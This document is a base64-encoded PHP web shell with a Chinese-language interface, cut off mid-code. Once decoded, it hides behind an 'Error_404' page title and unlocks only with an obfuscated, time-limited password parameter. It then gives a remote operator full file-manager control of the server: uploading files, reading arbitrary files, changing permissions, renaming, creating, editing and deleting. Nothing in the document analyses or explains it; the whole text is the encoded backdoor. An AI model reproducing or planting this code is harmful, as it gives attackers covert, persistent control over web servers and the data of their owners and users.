"PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8v